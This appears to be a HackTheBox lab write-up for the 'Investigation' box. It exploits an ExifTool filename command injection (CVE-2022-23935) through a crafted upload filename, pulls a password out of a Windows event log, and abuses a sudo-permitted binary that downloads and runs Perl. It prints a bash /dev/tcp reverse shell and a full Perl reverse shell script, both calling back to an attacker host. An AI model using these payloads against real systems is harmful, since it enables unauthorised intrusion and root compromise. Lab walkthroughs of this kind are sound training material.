Investigation - HackTheBox Writeup

Machine Information

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

• Enumeration: ⭐⭐⭐☆☆
• Real-world: ⭐⭐⭐⭐⭐
• CVE: ⭐⭐⭐⭐☆
• CTF-like: ⭐⭐⭐☆☆

Summary

Investigation is a Linux box built around a “digital forensics as a service” web app that lets users upload an image and get an ExifTool-generated metadata report back. The app runs a version of ExifTool vulnerable to a filename-based command injection CVE, giving a foothold as www-data. From there, a forensics-themed rabbit hole pays off literally: a .msg email file on disk contains an embedded Windows Security event log, and mining the raw log for strings turns up a password that a user typed into the username field by mistake — reused as the real SSH password for smorton. Root is a binary reverse-engineering challenge: a setuid-via-sudo helper takes a URL and a hardcoded magic string, downloads a file, and blindly executes it with perl, letting root be reached by hosting a reverse shell payload.

TL;DR: ExifTool 12.37 filename command injection (CVE-2022-23935) on upload.php → www-data → extract OLE stream 37010102 from a .msg file → security.evtx → strings -e l reveals a password typed into a username field → SSH as smorton → reverse-engineer sudo-able /usr/bin/binary → supply the correct magic string to make it curl + perl a reverse shell → root.

Reconnaissance

Port Scanning

nmap -sC -sV -T4 -p- <TARGET_IP>

Results:

• 22/tcp — OpenSSH
• 80/tcp — Apache HTTP, redirects to vhost eforenzics.htb

Service Enumeration

Adding the vhost to /etc/hosts and browsing to eforenzics.htb surfaces an “eForenzics” digital-forensics-as-a-service site. Its core feature is a free image forensics tool: upload an image via upload.php and the backend runs it through ExifTool, returning the full metadata report in the response.

echo "<TARGET_IP> eforenzics.htb" | sudo tee -a /etc/hosts

The generated report identifies the exact tool version in use:

ExifTool Version Number : 12.37

Vulnerability Assessment

ExifTool 12.37 is affected by CVE-2022-23935 — a command injection triggered by filenames. ExifTool opens files using Perl’s two-argument open() internally; if a filename passed to it ends in a pipe character (|) and the path exists on disk, Perl interprets that as “open a pipe to run this command” rather than “open this file.” Because the web app’s upload.php hands the user-controlled uploaded filename straight to ExifTool, an attacker-controlled filename ending in | gets executed as a shell command on the server the moment the report is generated.

Initial Foothold

Exploitation Path

The exploit is delivered entirely through the filename of the uploaded image — no payload lives in the file contents.

# Base64-encode a reverse shell so it survives as a filename with no problem characters
echo "bash -i >&/dev/tcp/<ATTACKER_IP>/9001 0>&1" | base64
# -> YmFzaCAtaSA+Ji9kZXYvdGNwLzxBVFRBQ0tFUl9JUD4vOTAwMSAwPiYxCg==

The malicious filename decodes and pipes the payload to bash, then terminates with the pipe character that CVE-2022-23935 requires:

echo <base64-blob> | base64 -d | bash |

Renaming the uploaded file to this string (intercepting the multipart upload request to upload.php and swapping the filename= field) and submitting it for analysis causes ExifTool to treat the “filename” as a command pipe and execute it as the web server user.

# Catch the callback
nc -nvlp 9001

Upon submission, ExifTool’s internal open() call on the crafted filename triggers the injected bash reverse shell, landing a shell as www-data.

Enumerating the filesystem from this foothold, /usr/local/investigation stands out as an app-specific directory containing a .msg file — a Microsoft Outlook message container, which is itself an OLE/Compound File Binary (CFBF) structure. Rather than converting the whole message to a readable format, the OLE structure was parsed directly for its attachment stream: property tag 3701 (PidTagAttachDataBinary) with type 0102 (binary) — i.e. the named stream __substg1.0_37010102 — holds the raw bytes of the email’s attachment. Pulling that stream out yields a zipped Windows Event Log, which unpacks to security.evtx.

Privilege Escalation

www-data → smorton

security.evtx is a binary Windows Security event log — Security ID/logon events recorded on a Windows host, dropped onto this Linux box as forensic evidence to analyze. Rather than fully parsing the EVTX record structure (e.g. via evtx2json + Splunk), the fastest path was to hunt directly for anomalies in the log’s raw text content:

# EVTX stores XML/text fields internally as UTF-16LE; -e l pulls "wide" (little-endian 16-bit) strings
strings -e l security.evtx | grep -i 'TargetUserName\|logon' -A2 -B2

This surfaces a login attempt where the TargetUserName field is not a real username but an entire password: Def@ultf0r3nz!csPa$$. This is a classic real-world logon-screen mistake — a user starts typing their password before the username field has focus (e.g. after a screen lock/unlock), so the password lands in the username box and the login fails. The very next successful logon event in the log is for user smorton, strongly implying that password belongs to that account.

# Test the leaked "username" as smorton's real password
ssh smorton@<TARGET_IP>
# Password: Def@ultf0r3nz!csPa$$

This succeeds, landing a proper interactive shell as smorton and capturing user.txt.

smorton → root

sudo -l

confirms smorton can run /usr/bin/binary as root with no password. Running it directly with no arguments produces nothing useful, so the binary was pulled off the box and reverse engineered (Ghidra/objdump) to understand its expected inputs.

Decompilation shows the binary:

1. Requires exactly two arguments.
2. Checks that the running process’s UID is 0 (root) — satisfied automatically via sudo.
3. strcmp()s the second argument against a hardcoded magic string.
4. On a match, uses libcurl (curl_easy_setopt/curl_easy_perform) to download the first argument (a URL) to a local file, then shells out via system() to run perl ./<downloaded file>.

The magic string is where the live binary diverged from the public reference material for this box: the strings in this build read lDnxUysaQn (lowercase L), not the visually-similar 1DnxUysaQn (digit 1) documented elsewhere. Confirming the exact byte sequence with strings/Ghidra before attempting exploitation avoided a wasted run against the wrong magic value.

# Perl reverse shell payload, hosted for the target to fetch
cat > rshell <<'EOF'
use Socket;
$i="<ATTACKER_IP>";$p=1337;
socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
if(connect(S,sockaddr_in($p,inet_aton($i)))){
  open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");
  exec("/bin/sh -i");
};
EOF

python3 -m http.server 9001   # serve rshell
nc -nvlp 1337                 # catch the callback

On the target, as smorton:

# URL = payload location, second arg MUST be the exact magic string (lowercase l)
sudo /usr/bin/binary http://<ATTACKER_IP>:9001/rshell lDnxUysaQn

The binary’s curl call fetches rshell, writes it to disk, and executes perl ./rshell via system() — as root, since the process itself is running under sudo. This calls back a root shell on the listener, yielding root.txt.

Attack Chain Summary

ExifTool 12.37 filename pipe injection (CVE-2022-23935) on upload.php
        │
        ▼
Shell as www-data
        │
        ▼
/usr/local/investigation → Windows_Event_Logs.msg (OLE/CFBF)
        │  extract stream 37010102 (PidTagAttachDataBinary)
        ▼
evtx-logs.zip → security.evtx
        │  strings -e l → password typed into username field
        ▼
SSH as smorton (Def@ultf0r3nz!csPa$$) → user.txt
        │
        ▼
sudo -l → /usr/bin/binary (reverse engineer magic string: lDnxUysaQn)
        │  sudo /usr/bin/binary <payload URL> lDnxUysaQn
        ▼
curl fetches Perl reverse shell → perl executes it as root → root.txt

Tools Used

Key Learnings

Techniques Practiced

• Exploiting a filename-based command injection (CVE-2022-23935) in ExifTool via a crafted upload filename
• Extracting attachment data directly from OLE/Compound File Binary structures (.msg) by property-tag stream name
• Mining raw Windows EVTX binaries for credentials via wide-character strings instead of full log conversion
• Recognizing “password typed into username field” as a real, exploitable credential-reuse pattern
• Reverse engineering a sudo-restricted binary to recover a hardcoded validation string and abuse its curl→perl execution flow

Lessons Learned

1. Always verify the exact version/behavior of a target binary before exploiting a documented offset or magic value — the box’s binary used a lowercase l, not the digit 1, in its check string; a byte-for-byte mismatch would have silently failed.
2. Forensic file formats (.msg, .evtx) don’t require full-fidelity parsing pipelines to yield useful intel — targeted extraction (a known OLE stream, strings -e l on a binary log) is often faster and just as effective.
3. Human logon mistakes (password typed into the username field) are a realistic, high-value credential leak vector and are exactly what security event logs are built to surface.
4. Any sudo-permitted binary that touches the network (curl) and then executes a downloaded file (perl, system()) is a direct root path — the only barrier is recovering whatever input validation gates it.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

• dotguy, Investigation — Official HackTheBox Writeup, Document No. D23.100.222 (Machine Author: Derezzed). Used here only for conceptual/explanatory context on CVE-2022-23935’s mechanism, .msg/EVTX forensic file formats, and the libcurl/perl behavior of the sudo binary — all IPs, credentials, filenames, and command output above are from this run’s own solve.